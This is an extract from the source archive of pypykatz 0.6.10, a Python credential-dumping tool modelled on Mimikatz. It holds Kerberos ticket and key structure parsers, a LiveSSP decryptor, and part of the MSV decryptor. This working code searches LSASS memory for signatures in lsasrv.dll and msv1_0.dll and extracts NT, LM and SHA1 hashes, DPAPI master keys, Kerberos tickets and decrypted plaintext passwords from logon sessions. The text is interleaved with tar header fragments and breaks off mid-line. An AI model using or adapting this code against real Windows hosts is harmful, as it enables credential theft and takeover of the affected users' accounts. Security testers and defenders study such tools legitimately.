reader): super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_6) class KIWI_KERBEROS_INTERNAL_TICKET_6: def __init__(self, reader): #self.This = LIST_ENTRY(reader) self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_6(reader) self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_6(reader) #reader.read(8) #input('servicename\n' + hexdump(reader.peek(0x100))) self.unk0 = PVOID(reader).value self.unk1 = PVOID(reader).value self.ServiceName = PKERB_EXTERNAL_NAME(reader) self.TargetName = PKERB_EXTERNAL_NAME(reader) self.DomainName = LSA_UNICODE_STRING(reader) self.TargetDomainName = LSA_UNICODE_STRING(reader) self.Description = LSA_UNICODE_STRING(reader) self.AltTargetDomainName = LSA_UNICODE_STRING(reader) self.KDCServer = LSA_UNICODE_STRING(reader) # //?(reader).value self.ClientName = PKERB_EXTERNAL_NAME(reader) self.name0 = PVOID(reader).value self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)#ULONG(reader).value self.unk2 = ULONG(reader).value self.KeyType = ULONG(reader).value reader.align() self.Key = KIWI_KERBEROS_BUFFER(reader) self.unk3 = PVOID(reader).value self.unk4 = PVOID(reader).value self.unk5 = PVOID(reader).value self.StartTime = FILETIME(reader).value self.EndTime = FILETIME(reader).value self.RenewUntil = FILETIME(reader).value self.unk6 = ULONG(reader).value self.unk7 = ULONG(reader).value self.domain = PCWSTR(reader).value self.unk8 = ULONG(reader).value reader.align() self.strangeNames = PVOID(reader).value self.unk9 = ULONG(reader).value self.TicketEncType = ULONG(reader).value self.TicketKvno = ULONG(reader).value reader.align() self.Ticket = KIWI_KERBEROS_BUFFER(reader) class PKIWI_KERBEROS_INTERNAL_TICKET_10(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_10) class KIWI_KERBEROS_INTERNAL_TICKET_10: def __init__(self, reader): #input('KIWI_KERBEROS_INTERNAL_TICKET_10\n' + hexdump(reader.peek(0x100))) self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_10(reader) self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_10(reader) self.unk0 = PVOID(reader).value self.unk1 = PVOID(reader).value self.ServiceName = PKERB_EXTERNAL_NAME(reader) self.TargetName = PKERB_EXTERNAL_NAME(reader) self.DomainName = LSA_UNICODE_STRING(reader) self.TargetDomainName = LSA_UNICODE_STRING(reader) self.Description = LSA_UNICODE_STRING(reader) self.AltTargetDomainName = LSA_UNICODE_STRING(reader) self.KDCServer = LSA_UNICODE_STRING# //?(reader).value self.unk10586_d = LSA_UNICODE_STRING# //?(reader).value self.ClientName = PKERB_EXTERNAL_NAME(reader) self.name0 = PVOID(reader).value self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False) self.unk2 = ULONG(reader).value self.KeyType = ULONG(reader).value reader.align() self.Key = KIWI_KERBEROS_BUFFER(reader) self.unk3 = PVOID(reader).value self.unk4 = PVOID(reader).value self.unk5 = PVOID(reader).value reader.align(8) self.StartTime = FILETIME(reader).value self.EndTime = FILETIME(reader).value self.RenewUntil = FILETIME(reader).value self.unk6 = ULONG(reader).value self.unk7 = ULONG(reader).value self.domain = PCWSTR(reader).value self.unk8 = ULONG(reader).value reader.align() self.strangeNames = PVOID(reader).value self.unk9 = ULONG(reader).value self.TicketEncType = ULONG(reader).value self.TicketKvno = ULONG(reader).value reader.align() self.Ticket = KIWI_KERBEROS_BUFFER(reader) class PKIWI_KERBEROS_INTERNAL_TICKET_11(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_11) class KIWI_KERBEROS_INTERNAL_TICKET_11: def __init__(self, reader): #input('KIWI_KERBEROS_INTERNAL_TICKET_11\n' + hexdump(reader.peek(0x300))) self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_11(reader) self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_11(reader) self.unk0 = PVOID(reader).value self.unk1 = PVOID(reader).value self.ServiceName = PKERB_EXTERNAL_NAME(reader) self.TargetName = PKERB_EXTERNAL_NAME(reader) self.DomainName = LSA_UNICODE_STRING(reader) self.TargetDomainName = LSA_UNICODE_STRING(reader) self.Description = LSA_UNICODE_STRING(reader) self.AltTargetDomainName = LSA_UNICODE_STRING(reader) self.KDCServer = LSA_UNICODE_STRING(reader) # //?(reader).value self.unk10586_d = LSA_UNICODE_STRING(reader) #//?(reader).value self.ClientName = PKERB_EXTERNAL_NAME(reader) self.name0 = PVOID(reader).value self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False) self.unk2 = ULONG(reader).value self.unk14393_0 = PVOID(reader).value self.unk2x = ULONG(reader).value self.KeyType = ULONG(reader).value self.Key = KIWI_KERBEROS_BUFFER(reader) self.unk14393_1 = PVOID(reader).value self.unk3 = PVOID(reader).value # // ULONG KeyType2 = (reader).value self.unk4 = PVOID(reader).value # // KIWI_KERBEROS_BUFFER Key2 = (reader).value self.unk5 = PVOID(reader).value # // up(reader).value self.StartTime = FILETIME(reader).value self.EndTime = FILETIME(reader).value self.RenewUntil = FILETIME(reader).value self.unk6 = ULONG(reader).value self.unk7 = ULONG(reader).value self.domain = PCWSTR(reader).value self.unk8 = ULONG(reader).value reader.align() self.strangeNames = PVOID(reader).value self.unk9 = ULONG(reader).value self.TicketEncType = ULONG(reader).value self.TicketKvno = ULONG(reader).value reader.align() self.Ticket = KIWI_KERBEROS_BUFFER(reader) class PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_10_1607) class KIWI_KERBEROS_INTERNAL_TICKET_10_1607: def __init__(self, reader): #input('KIWI_KERBEROS_INTERNAL_TICKET_10_1607\n' + hexdump(reader.peek(0x300))) self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(reader) self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(reader) self.unk0 = PVOID(reader).value self.unk1 = PVOID(reader).value self.ServiceName = PKERB_EXTERNAL_NAME(reader) self.TargetName = PKERB_EXTERNAL_NAME(reader) self.DomainName = LSA_UNICODE_STRING(reader) self.TargetDomainName = LSA_UNICODE_STRING(reader) self.Description = LSA_UNICODE_STRING(reader) self.AltTargetDomainName = LSA_UNICODE_STRING(reader) self.KDCServer = LSA_UNICODE_STRING(reader) # //?(reader).value self.unk10586_d = LSA_UNICODE_STRING(reader) #//?(reader).value self.ClientName = PKERB_EXTERNAL_NAME(reader) self.name0 = PVOID(reader).value self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False) self.unk2 = ULONG(reader).value self.unk14393_0 = PVOID(reader).value self.KeyType = ULONG(reader).value reader.align() self.Key = KIWI_KERBEROS_BUFFER(reader) self.unk14393_1 = PVOID(reader).value self.unk3 = PVOID(reader).value # // ULONG KeyType2 = (reader).value self.unk4 = PVOID(reader).value # // KIWI_KERBEROS_BUFFER Key2 = (reader).value self.unk5 = PVOID(reader).value # // up(reader).value self.StartTime = FILETIME(reader).value self.EndTime = FILETIME(reader).value self.RenewUntil = FILETIME(reader).value self.unk6 = ULONG(reader).value self.unk7 = ULONG(reader).value self.domain = PCWSTR(reader).value self.unk8 = ULONG(reader).value reader.align() self.strangeNames = PVOID(reader).value self.unk9 = ULONG(reader).value self.TicketEncType = ULONG(reader).value self.TicketKvno = ULONG(reader).value reader.align() self.Ticket = KIWI_KERBEROS_BUFFER(reader) class PKERB_HASHPASSWORD_GENERIC(POINTER): def __init__(self, reader): super().__init__(reader, KERB_HASHPASSWORD_GENERIC) class KERB_HASHPASSWORD_GENERIC: def __init__(self, reader): #print('KERB_HASHPASSWORD_GENERIC') #print(hexdump(reader.peek(0x50), start = reader.tell())) self.Type = DWORD(reader).value reader.align() self.Size = SIZE_T(reader).value self.Checksump = PVOID(reader) #this holds the actual credentials dunno why it's named this way... class PKERB_HASHPASSWORD_5(POINTER): def __init__(self, reader): super().__init__(reader, KERB_HASHPASSWORD_5) class KERB_HASHPASSWORD_5: def __init__(self, reader): self.salt = LSA_UNICODE_STRING(reader) # // http://tools.ietf.org/html/rfc3962 self.generic = KERB_HASHPASSWORD_GENERIC(reader) class PKERB_HASHPASSWORD_6(POINTER): def __init__(self, reader): super().__init__(reader, KERB_HASHPASSWORD_6) class KERB_HASHPASSWORD_6 : def __init__(self, reader): #print('KERB_HASHPASSWORD_6') #input(hexdump(reader.peek(0x100), start = reader.tell())) self.salt = LSA_UNICODE_STRING(reader) #// http://tools.ietf.org/html/rfc3962 self.stringToKey = PVOID(reader) # // AES Iterations (dword ?) self.generic = KERB_HASHPASSWORD_GENERIC(reader) class PKERB_HASHPASSWORD_6_1607(POINTER): def __init__(self, reader): super().__init__(reader, KERB_HASHPASSWORD_6_1607) class KERB_HASHPASSWORD_6_1607: def __init__(self, reader): self.salt = LSA_UNICODE_STRING(reader) # // http://tools.ietf.org/html/rfc3962(reader).value self.stringToKey = PVOID(reader).value # // AES Iterations (dword ?)(reader).value self.unk0 = PVOID(reader).value self.generic = KERB_HASHPASSWORD_GENERIC(reader) class PKIWI_KERBEROS_KEYS_LIST_5(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_KEYS_LIST_5) class KIWI_KERBEROS_KEYS_LIST_5: def __init__(self, reader): self.unk0 = DWORD(reader).value #// dword_1233EC8 dd 4 self.cbItem = DWORD(reader).value #// debug048:01233ECC dd 5(reader).value self.unk1 = PVOID(reader).value self.unk2 = PVOID(reader).value #//KERB_HASHPASSWORD_5 KeysEntries[ANYSIZE_ARRAY] = (reader).value self.KeyEntries_start = reader.tell() self.KeyEntries = [] def read(self, reader, keyentries_type): reader.move(self.KeyEntries_start) for _ in range(self.cbItem): self.KeyEntries.append(keyentries_type(reader)) class PKIWI_KERBEROS_KEYS_LIST_6(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_KEYS_LIST_6) class KIWI_KERBEROS_KEYS_LIST_6: def __init__(self, reader): #print('KIWI_KERBEROS_KEYS_LIST_6') #print(hexdump(reader.peek(0x100), start = reader.tell())) self.unk0 = DWORD(reader).value # // dword_1233EC8 dd 4(reader).value self.cbItem = DWORD(reader).value # // debug048:01233ECC dd 5(reader).value self.unk1 = PVOID(reader).value self.unk2 = PVOID(reader).value self.unk3 = PVOID(reader).value self.unk4 = PVOID(reader).value self.KeyEntries_start = reader.tell() self.KeyEntries = [] def read(self, reader, keyentries_type): reader.move(self.KeyEntries_start) for _ in range(self.cbItem): self.KeyEntries.append(keyentries_type(reader)) #//KERB_HASHPASSWORD_6 KeysEntries[ANYSIZE_ARRAY] = (reader).value class PKIWI_KERBEROS_ENUM_DATA_TICKET(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_KERBEROS_ENUM_DATA_TICKET) class KIWI_KERBEROS_ENUM_DATA_TICKET: def __init__(self, reader): self.isTicketExport = BOOL(reader).value self.isFullTicket = BOOL(reader).value class KIWI_KERBEROS_BUFFER: def __init__(self, reader): self.Length = ULONG(reader).value reader.align() self.Value = PVOID(reader) ##not part of struct self.Data = None def read(self, reader): self.Data = self.Value.read_raw(reader, self.Length) return self.Data././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3193648 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/livessp/0000775000175000017500000000000014647211624022725 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/livessp/__init__.py0000664000175000017500000000000014543266630025026 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/livessp/decryptor.py0000664000175000017500000000467114543266630025324 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io import json from pypykatz.lsadecryptor.package_commons import PackageDecryptor class LiveSspCredential: def __init__(self): self.credtype = 'livessp' self.username = None self.domainname = None self.password = None self.password_raw = b'' self.luid = None def to_dict(self): t = {} t['credtype'] = self.credtype t['username'] = self.username t['domainname'] = self.domainname t['password'] = self.password t['password_raw'] = self.password_raw t['luid'] = self.luid return t def to_json(self): return json.dumps(self.to_dict()) def __str__(self): t = '\t== LiveSsp [%x]==\n' % self.luid t += '\tusername %s\n' % self.username t += '\tdomainname %s\n' % self.domainname t += '\tpassword %s\n' % self.password t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() return t class LiveSspDecryptor(PackageDecryptor): def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): super().__init__('LiveSsp', lsa_decryptor, sysinfo, reader) self.decryptor_template = decryptor_template self.credentials = [] def find_first_entry(self): position = self.find_signature('msv1_0.dll',self.decryptor_template.signature) ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) ptr_entry = self.reader.get_ptr(ptr_entry_loc) return ptr_entry, ptr_entry_loc def add_entry(self, ssp_entry): c = LiveSspCredential() c.luid = ssp_entry.LocallyUniqueIdentifier suppCreds = ssp_entry.suppCreds.read(self.reader) c.username = suppCreds.credentials.UserName.read_string(self.reader) c.domainname = suppCreds.credentials.Domaine.read_string(self.reader) if suppCreds.credentials.Password.Length != 0: enc_data = suppCreds.credentials.Password.read_maxdata(self.reader) if c.username.endswith('$') is True: c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) if c.password is not None: c.password = c.password.hex() else: c.password, c.password_raw = self.decrypt_password(enc_data) self.credentials.append(c) def start(self): try: entry_ptr_value, entry_ptr_loc = self.find_first_entry() except Exception as e: self.log('Failed to find structs! Reason: %s' % e) return self.reader.move(entry_ptr_loc) entry_ptr = self.decryptor_template.list_entry(self.reader) self.walk_list(entry_ptr, self.add_entry)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/livessp/templates.py0000664000175000017500000000414114543266630025277 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io #from minidump.win_datatypes import * from pypykatz.commons.common import KatzSystemArchitecture from pypykatz.commons.win_datatypes import POINTER, ULONG, \ KIWI_GENERIC_PRIMARY_CREDENTIAL, PVOID, DWORD, LUID, LSA_UNICODE_STRING from pypykatz.lsadecryptor.package_commons import PackageTemplate class LiveSspTemplate(PackageTemplate): def __init__(self): super().__init__('LiveSsp') self.signature = None self.first_entry_offset = None self.list_entry = None @staticmethod def get_template(sysinfo): template = LiveSspTemplate() template.list_entry = PKIWI_LIVESSP_LIST_ENTRY template.log_template('list_entry', template.list_entry) if sysinfo.architecture == KatzSystemArchitecture.X64: template.signature = b'\x74\x25\x8b' template.first_entry_offset = -7 elif sysinfo.architecture == KatzSystemArchitecture.X86: template.signature = b'\x8b\x16\x39\x51\x24\x75\x08' template.first_entry_offset = -8 else: raise Exception('Unknown architecture! %s' % sysinfo.architecture) return template class PKIWI_LIVESSP_PRIMARY_CREDENTIAL(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_LIVESSP_PRIMARY_CREDENTIAL) class KIWI_LIVESSP_PRIMARY_CREDENTIAL: def __init__(self, reader): self.isSupp = ULONG(reader).value self.unk0 = ULONG(reader).value self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader) class PKIWI_LIVESSP_LIST_ENTRY(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_LIVESSP_LIST_ENTRY) class KIWI_LIVESSP_LIST_ENTRY: def __init__(self, reader): self.Flink = PKIWI_LIVESSP_LIST_ENTRY(reader) self.Blink = PKIWI_LIVESSP_LIST_ENTRY(reader) self.unk0 = PVOID(reader) self.unk1 = PVOID(reader) self.unk2 = PVOID(reader) self.unk3 = PVOID(reader) self.unk4 = DWORD(reader).value self.unk5 = DWORD(reader).value self.unk6 = PVOID(reader) self.LocallyUniqueIdentifier = LUID(reader).value self.UserName = LSA_UNICODE_STRING(reader) self.unk7 = PVOID(reader) self.suppCreds = PKIWI_LIVESSP_PRIMARY_CREDENTIAL(reader)././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3193648 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/msv/0000775000175000017500000000000014647211624022045 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/msv/__init__.py0000664000175000017500000000000014543266630024146 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1721569118.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/msv/decryptor.py0000664000175000017500000004461314647207536024451 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io import json import base64 import struct from pypykatz.commons.common import WindowsBuild, WindowsMinBuild, KatzSystemArchitecture, GenericReader, UniversalEncoder, hexdump from pypykatz.commons.filetime import filetime_to_dt from pypykatz.commons.win_datatypes import PVOID from pypykatz.lsadecryptor.packages.msv.templates import MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC from pypykatz.lsadecryptor.packages.credman.templates import KIWI_CREDMAN_LIST_STARTER, KIWI_CREDMAN_SET_LIST_ENTRY from pypykatz.lsadecryptor.package_commons import PackageDecryptor class MsvCredential: def __init__(self): self.credtype = 'msv' self.username = None self.domainname = None self.NThash = None self.LMHash = None self.SHAHash = None self.DPAPI = None self.isoProt = None def to_dict(self): t = {} t['username'] = self.username t['domainname'] = self.domainname t['NThash'] = self.NThash t['LMHash'] = self.LMHash t['SHAHash'] = self.SHAHash t['DPAPI'] = self.DPAPI return t def to_json(self): return json.dumps(self.to_dict(), cls=UniversalEncoder) def __str__(self): t = '\t== MSV ==\n' t += '\t\tUsername: %s\n' % (self.username if self.username else 'NA') t += '\t\tDomain: %s\n' % (self.domainname if self.domainname else 'NA') if self.isoProt: t += '\t\t\t[LSA Isolated Data]\n' t += '\t\t\tIs NT Present: %s\n' % (bool(self.isNtOwfPassword)) t += '\t\t\tContext Handle: %s\n' % (hex(self.contextHandle) if self.contextHandle else 'NA') t += '\t\t\tProxy Info: %s\n' % (hex(self.proxyInfo) if self.proxyInfo else 'NA') t += '\t\t\tEncrypted blob: %s\n' % (self.encryptedBlob.hex() if self.encryptedBlob else 'NA') else: t += '\t\tLM: %s\n' % (self.LMHash.hex() if self.LMHash else 'NA') t += '\t\tNT: %s\n' % (self.NThash.hex() if self.NThash else 'NA') t += '\t\tSHA1: %s\n' % (self.SHAHash.hex() if self.SHAHash else 'NA') t += '\t\tDPAPI: %s\n' % (self.DPAPI.hex() if self.DPAPI else 'NA') return t class CredmanCredential: def __init__(self): self.credtype = 'credman' self.luid = None self.username = None self.password = None self.password_raw = b'' self.domainname = None def to_dict(self): t = {} t['credtype'] = self.credtype t['username'] = self.username t['domainname'] = self.domainname t['password'] = self.password t['password_raw'] = self.password_raw t['luid'] = self.luid return t def to_json(self): return json.dumps(self.to_dict()) def __str__(self): t = '\t== CREDMAN [%x]==\n' % self.luid t += '\t\tluid %s\n' % self.luid t += '\t\tusername %s\n' % self.username t += '\t\tdomain %s\n' % self.domainname t += '\t\tpassword %s\n' % self.password t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() return t class LogonSession: grep_header = ['packagename', 'domain', 'user', 'NT', 'LM', 'SHA1', 'masterkey', 'sha1_masterkey', 'key_guid','plaintext'] def __init__(self): self.authentication_id = None self.session_id = None self.username = None self.domainname = None self.logon_server = None self.logon_time = None self.sid = None self.luid = None self.msv_creds = [] self.wdigest_creds = [] self.ssp_creds = [] self.livessp_creds = [] self.dpapi_creds = [] self.kerberos_creds = [] self.credman_creds = [] self.tspkg_creds = [] self.cloudap_creds = [] @staticmethod def parse(entry, reader): """ Converts KIWI_MSV1_0_LIST type objects into a unified class """ lsc = LogonSession() lsc.authentication_id = entry.LocallyUniqueIdentifier lsc.session_id = entry.Session lsc.username = entry.UserName.read_string(reader) lsc.domainname = entry.Domaine.read_string(reader) lsc.logon_server = entry.LogonServer.read_string(reader) if entry.LogonTime != 0: lsc.logon_time = filetime_to_dt(entry.LogonTime).isoformat() lsc.sid = str(entry.pSid.read(reader)) lsc.luid = entry.LocallyUniqueIdentifier return lsc def to_dict(self): t = {} t['authentication_id'] = self.authentication_id t['session_id'] = self.session_id t['username'] = self.username t['domainname'] = self.domainname t['logon_server'] = self.logon_server t['logon_time'] = self.logon_time t['sid'] = self.sid t['luid'] = self.luid t['msv_creds'] = [] t['wdigest_creds'] = [] t['ssp_creds'] = [] t['livessp_creds'] = [] t['dpapi_creds'] = [] t['kerberos_creds'] = [] t['credman_creds'] = [] t['tspkg_creds'] = [] t['cloudap_creds'] = [] for cred in self.msv_creds: t['msv_creds'].append(cred.to_dict()) for cred in self.wdigest_creds: t['wdigest_creds'].append(cred.to_dict()) for cred in self.ssp_creds: t['ssp_creds'].append(cred.to_dict()) for cred in self.livessp_creds: t['livessp_creds'].append(cred.to_dict()) for cred in self.dpapi_creds: t['dpapi_creds'].append(cred.to_dict()) for cred in self.kerberos_creds: t['kerberos_creds'].append(cred.to_dict()) for cred in self.credman_creds: t['credman_creds'].append(cred.to_dict()) for cred in self.tspkg_creds: t['tspkg_creds'].append(cred.to_dict()) for cred in self.cloudap_creds: t['cloudap_creds'].append(cred.to_dict()) return t def to_json(self): return json.dumps(self.to_dict(), cls=UniversalEncoder) def __str__(self): t = '== LogonSession ==\n' t += 'authentication_id %s (%x)\n' % (self.authentication_id, self.authentication_id) t += 'session_id %s\n' % self.session_id t += 'username %s\n' % self.username t += 'domainname %s\n' % self.domainname t += 'logon_server %s\n' % self.logon_server t += 'logon_time %s\n' % self.logon_time t += 'sid %s\n' % self.sid t += 'luid %s\n' % self.luid if len(self.msv_creds) > 0: for cred in self.msv_creds: t+= '%s' % str(cred) if len(self.wdigest_creds) > 0: for cred in self.wdigest_creds: t+= str(cred) if len(self.ssp_creds) > 0: for cred in self.ssp_creds: t+= str(cred) if len(self.livessp_creds) > 0: for cred in self.livessp_creds: t+= str(cred) if len(self.kerberos_creds) > 0: for cred in self.kerberos_creds: t+= str(cred) if len(self.wdigest_creds) > 0: for cred in self.wdigest_creds: t+= str(cred) if len(self.credman_creds) > 0: for cred in self.credman_creds: t+= str(cred) if len(self.tspkg_creds) > 0: for cred in self.tspkg_creds: t+= str(cred) if len(self.dpapi_creds) > 0: for cred in self.dpapi_creds: t+= str(cred) if len(self.cloudap_creds) > 0: for cred in self.cloudap_creds: t+= str(cred) return t def to_row(self): for cred in self.msv_creds: t = cred.to_dict() yield [self.luid, 'msv', self.session_id, self.sid, 'msv', '', self.domainname, self.username, 'NT', t['NThash'].hex() if t['NThash'] else ''] yield [self.luid, 'msv', self.session_id, self.sid, 'msv', '', self.domainname, self.username, 'LM', t['LMHash'].hex() if t['LMHash'] else ''] yield [self.luid, 'msv', self.session_id, self.sid, 'msv', '', self.domainname, self.username, 'sha1', t['SHAHash'].hex() if t['SHAHash'] else ''] for cred in self.wdigest_creds: t = cred.to_dict() yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] for cred in self.ssp_creds: t = cred.to_dict() yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] for cred in self.livessp_creds: t = cred.to_dict() yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] for cred in self.dpapi_creds: t = cred.to_dict() yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'masterkey', t['masterkey']] yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'sha1', t['sha1_masterkey']] for cred in self.kerberos_creds: t = cred.to_dict() yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] for cred in self.credman_creds: t = cred.to_dict() yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] for cred in self.tspkg_creds: t = cred.to_dict() yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] for cred in self.cloudap_creds: t = cred.to_dict() yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'masterkey', str(cred.get_masterkey_hex())] yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'sha1', str(t['dpapi_key_sha1'])] yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'PRT', str(t['PRT'])] def to_grep_rows(self): for cred in self.msv_creds: t = cred.to_dict() yield [ 'msv', self.domainname, self.username, t['NThash'].hex() if t['NThash'] else '', t['LMHash'].hex() if t['LMHash'] else '', t['SHAHash'].hex() if t['SHAHash'] else '', '', '', '', '' ] for package in [self.wdigest_creds, self.ssp_creds, self.livessp_creds, self.credman_creds, self.tspkg_creds]: for cred in package: t = cred.to_dict() if t['password'] is not None: yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', str(t['password'])] for cred in self.kerberos_creds: t = cred.to_dict() if t['password'] is not None or t['pin'] is not None: pin = '' if t['pin'] is not None: pin = '[PIN]%s' % t['pin'] yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', pin] if t['password'] is not None: yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', str(t['password'])] for cred in self.dpapi_creds: t = cred.to_dict() yield [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] for cred in self.cloudap_creds: t = cred.to_dict() yield [str(t['credtype']), '', '', '', '', '', str(cred.get_masterkey_hex()), str(t['dpapi_key_sha1']), str(t['key_guid']), str(t['PRT'])] class MsvDecryptor(PackageDecryptor): def __init__(self, reader, decryptor_template, lsa_decryptor, credman_template, sysinfo): super().__init__('Msv', lsa_decryptor, sysinfo, reader) self.decryptor_template = decryptor_template self.credman_decryptor_template = credman_template self.entries = [] self.entries_seen = {} self.logon_sessions = {} self.logon_session_count = None self.current_logonsession = None def find_first_entry(self): #finding signature #input('sig %s' % self.decryptor_template.signature.hex()) #input('sig %s' % self.decryptor_template.first_entry_offset) position = self.find_signature('lsasrv.dll',self.decryptor_template.signature) #getting logon session count self.logon_session_count = 1 if self.sysinfo.architecture == KatzSystemArchitecture.X64: if self.sysinfo.buildnumber >= WindowsBuild.WIN_8.value or (WindowsMinBuild.WIN_8.value <= self.sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value and self.sysinfo.msv_dll_timestamp > 0x60000000): ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.offset2) self.reader.move(ptr_entry_loc) self.logon_session_count = int.from_bytes(self.reader.read(1), byteorder = 'big', signed = False) #getting logon session ptr ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) ptr_entry = self.reader.get_ptr(ptr_entry_loc) return ptr_entry, ptr_entry_loc def add_entry(self, entry): self.current_logonsession = LogonSession.parse(entry, self.reader) if entry.CredentialManager.value != 0: self.parse_credman_credentials(entry) if entry.Credentials_list_ptr.value != 0: self.walk_list(entry.Credentials_list_ptr, self.add_credentials) else: self.log('No credentials in this structure!') self.logon_sessions[self.current_logonsession.luid] = self.current_logonsession def add_credentials(self, primary_credentials_list_entry): self.walk_list( primary_credentials_list_entry.PrimaryCredentials_ptr, self.add_primary_credentials ) def parse_credman_credentials(self, logon_session): self.log_ptr(logon_session.CredentialManager.value, 'KIWI_CREDMAN_SET_LIST_ENTRY') credman_set_list_entry = logon_session.CredentialManager.read(self.reader, override_finaltype = KIWI_CREDMAN_SET_LIST_ENTRY) self.log_ptr(credman_set_list_entry.list1.value, 'KIWI_CREDMAN_LIST_STARTER') list_starter = credman_set_list_entry.list1.read(self.reader, override_finaltype = KIWI_CREDMAN_LIST_STARTER) if list_starter.start.value != list_starter.start.location: self.walk_list(list_starter.start, self.add_credman_credential, override_ptr = self.credman_decryptor_template.list_entry) def add_credman_credential(self, credman_credential_entry): c = CredmanCredential() c.username = credman_credential_entry.user.read_string(self.reader) c.domainname = credman_credential_entry.server2.read_string(self.reader) if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0: enc_data = credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword) if c.username.endswith('$') is True: c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) if c.password is not None: c.password = c.password.hex() else: c.password, c.password_raw = self.decrypt_password(enc_data) c.luid = self.current_logonsession.luid self.current_logonsession.credman_creds.append(c) def get_proxy_info(self, msv1_0_module): old_pos = self.reader.tell() msv1_0_module = self.reader.reader.get_module_by_name("msv1_0.dll") if msv1_0_module is None: self.reader.move(old_pos) return 0 try: position = self.find_signature('msv1_0.dll', b'\xe0zRE}*\xecL\xb2\x14s\x9fAY\xc3\x92') position = self.find_signature('msv1_0.dll', struct.pack(' 0x53480000: template.list_entry = PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ else: template.list_entry = PKIWI_MSV1_0_LIST_61 elif sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: #template.list_entry = PKIWI_MSV1_0_LIST_62 if sysinfo.msv_dll_timestamp > 0x53480000: template.list_entry = PKIWI_MSV1_0_LIST_63 else: template.list_entry = PKIWI_MSV1_0_LIST_62 else: template.list_entry = PKIWI_MSV1_0_LIST_63 template.log_template('list_entry', template.list_entry) if sysinfo.buildnumber < 